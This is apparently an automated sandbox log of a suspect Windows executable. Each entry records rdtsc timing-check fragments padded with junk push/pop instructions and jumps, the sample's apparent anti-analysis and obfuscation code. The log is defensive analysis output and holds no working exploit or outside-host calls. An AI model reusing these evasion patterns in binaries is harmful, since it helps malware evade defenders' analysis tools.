Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA7E0 second address: BFA7EC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 ja 00007F0698769D66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA7EC second address: BFA7F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA7F3 second address: BFA80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0698769D73h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAC0B second address: BFAC1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DCDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAC1C second address: BFAC26 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAC26 second address: BFAC2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAC2C second address: BFAC30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB06A second address: BFB07E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F0699139DC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F0699139DC6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB07E second address: BFB08A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F0698769D66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB08A second address: BFB094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0699139DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB215 second address: BFB21A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB36E second address: BFB382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0699139DCCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB382 second address: BFB386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB386 second address: BFB3C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DD3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jnc 00007F0699139DC6h 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F0699139DD4h 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC560 second address: BFC590 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jmp 00007F0698769D77h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC590 second address: BFC5A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0699139DCDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC5A1 second address: BFC5BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0698769D6Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F0698769D66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02319 second address: C0233D instructions: 0x00000000 rdtsc 0x00000002 js 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F0699139DCFh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0233D second address: C02343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02343 second address: C02377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DD7h 0x00000007 jmp 00007F0699139DD9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C13A second address: B4C13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C13E second address: B4C142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C142 second address: B4C165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0698769D6Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jl 00007F0698769D66h 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C165 second address: B4C173 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DCAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C183ED second address: C183F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C183F4 second address: C183FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CF9C second address: C1CFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CFA0 second address: C1CFA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27268 second address: C2726C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2726C second address: C27291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0699139DD2h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F0699139DC6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27291 second address: C27295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27295 second address: C27299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27299 second address: C272A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0698769D66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2BCCE second address: C2BCF0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0699139DC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0699139DD2h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2BCF0 second address: C2BCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2BCF4 second address: C2BCF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3027B second address: C302A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D70h 0x00000007 ja 00007F0698769D66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jno 00007F0698769D66h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C302A1 second address: C302A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C302A5 second address: C302BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0698769D66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F0698769D68h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C302BC second address: C302C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30408 second address: C30420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0698769D70h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C306CC second address: C306DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C306DF second address: C306E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C306E7 second address: C306EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C309A7 second address: C309AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C309AB second address: C309B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C309B1 second address: C309B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C309B7 second address: C309BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C309BD second address: C309CE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F0698769DB5h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30B32 second address: C30B58 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F0699139DD2h 0x00000010 pushad 0x00000011 popad 0x00000012 jbe 00007F0699139DC6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30B58 second address: C30B67 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F0698769D66h 0x0000000b pop edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30B67 second address: C30B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007F0699139DD4h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30D09 second address: C30D15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0698769D66h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30D15 second address: C30D2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DD6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30D2F second address: C30D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30D3D second address: C30D41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30D41 second address: C30D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0698769D78h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30D65 second address: C30D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30D69 second address: C30D6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30D6D second address: C30D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A682 second address: B4A688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C428AE second address: C428C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DCFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3D544 second address: C3D548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4FF1E second address: C4FF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4FF26 second address: C4FF35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0698769D66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4FF35 second address: C4FF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4FF39 second address: C4FF57 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0698769D73h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4FF57 second address: C4FF75 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F0699139DD8h 0x0000000c jmp 00007F0699139DD2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4FC52 second address: C4FC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007F0698769D68h 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 js 00007F0698769D66h 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C607A2 second address: C607A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C607A6 second address: C607AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F653 second address: C5F659 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F659 second address: C5F666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F8FF second address: C5F917 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jl 00007F0699139DC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F917 second address: C5F931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D76h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FA9F second address: C5FAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FAA3 second address: C5FAA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FAA7 second address: C5FAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FAAD second address: C5FAB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FFAC second address: C5FFB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FFB2 second address: C5FFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FFBD second address: C5FFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6026F second address: C60273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C63159 second address: C63187 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0699139DD8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C63187 second address: C63191 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0698769D6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C633DB second address: C63410 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0699139DD4h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C63410 second address: C634A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F0698769D78h 0x0000000f jmp 00007F0698769D72h 0x00000014 popad 0x00000015 nop 0x00000016 jns 00007F0698769D6Fh 0x0000001c push 00000004h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F0698769D68h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 mov dh, F1h 0x0000003a call 00007F0698769D69h 0x0000003f jl 00007F0698769D76h 0x00000045 jmp 00007F0698769D70h 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 pop edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C634A4 second address: C634BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F0699139DC6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C634BA second address: C634D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0698769D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C634D5 second address: C634F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a push esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop esi 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 js 00007F0699139DD0h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C637AE second address: C637B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C637B2 second address: C637BB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C637BB second address: C637C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64BB8 second address: C64BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6841C second address: C68422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68422 second address: C68428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C68428 second address: C68430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02A1 second address: 52B02B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02B0 second address: 52B02D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d movsx edi, si 0x00000010 mov al, 98h 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0698769D6Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02F5 second address: 52B02FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
